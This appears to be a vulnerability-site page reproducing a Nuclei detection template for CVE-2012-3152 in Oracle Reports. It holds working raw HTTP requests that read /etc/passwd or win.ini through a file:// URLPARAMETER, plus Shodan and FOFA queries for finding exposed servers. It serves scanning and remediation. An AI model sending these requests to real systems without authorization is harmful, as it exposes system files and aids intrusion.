CVE-2012-3152: Oracle Reports rwservlet - Arbitrary File Read

2026-11-29 PoC Public

Description

Oracle Reports Developer in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 (and earlier 10g/11g releases discussed by the original researcher) allows unauthenticated attackers to read and write arbitrary files through the reports/rwservlet URLPARAMETER feature. A GET with JOBTYPE=rwurl and URLPARAMETER set to a file:// URL returns the file contents in the response (OSVDB-86395, EDB 31253). Combined with CVE-2012-3153 this has been used to upload a JSP shell; this template only performs a safe file:// read of /etc/passwd or Windows win.ini and does not write files. Patched in the October 2012 Oracle CPU. CVE-2012-3152 is in the CISA Known Exploited Vulnerabilities catalog.

Details

CVE
CVE-2012-3152 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2012-3152

info:
  name: Oracle Reports rwservlet - Arbitrary File Read
  author: ritikchaddha
  severity: critical
  description: |
    Oracle Reports Developer in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and 11.1.2.0 (and earlier 10g/11g releases discussed by the original researcher) allows unauthenticated attackers to read and write arbitrary files through the reports/rwservlet URLPARAMETER feature. A GET with JOBTYPE=rwurl and URLPARAMETER set to a file:// URL returns the file contents in the response (OSVDB-86395, EDB 31253). Combined with CVE-2012-3153 this has been used to upload a JSP shell; this template only performs a safe file:// read of /etc/passwd or Windows win.ini and does not write files. Patched in the October 2012 Oracle CPU. CVE-2012-3152 is in the CISA Known Exploited Vulnerabilities catalog.
  impact: |
    An unauthenticated attacker can read arbitrary files from the Reports Server host and, when chained with CVE-2012-3153, write a web shell and execute code.
  remediation: |
    Apply the October 2012 Oracle Critical Patch Update for Oracle Fusion Middleware / Reports Developer, or later. Disable or restrict unauthenticated access to /reports/rwservlet until patched, and hunt for unexpected JSP files under the Reports web root.
  reference:
    - https://www.exploit-db.com/exploits/31253
    - http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/oracle_reports_rce.rb
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2012-3152
    - https://nvd.nist.gov/vuln/detail/CVE-2012-3152
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2012-3152
    epss-score: 0.98881
    epss-percentile: 0.99958
    cpe: cpe:2.3:a:oracle:fusion_middleware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: fusion_middleware
    shodan-query:
      - http.html:"/reports/rwservlet"
      - http.title:"Oracle Reports"
    fofa-query:
      - body="/reports/rwservlet"
      - title="Oracle Reports"
  tags: cve,cve2012,oracle,rwservlet,lfi,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(body), "oracle business")'
        condition: and
        internal: true

  - raw:
      - |
        GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///C:/Windows/win.ini HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: linux-passwd
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
          - 'contains(content_type, "application/octet-stream")'
        condition: and

      - type: dsl
        name: windows-winini
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "[fonts]", "[extensions]")'
          - 'contains(content_type, "application/octet-stream")'
        condition: and
# digest: 4a0a004730450220520d3c3f7675fdaf63ad7abacde07c309a3f1f5e88bc627317d016eaba3d721f022100bce03b90ae06f6974edb29dcd33f408b0cfaae3f93db03c8148125392af3ac51:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life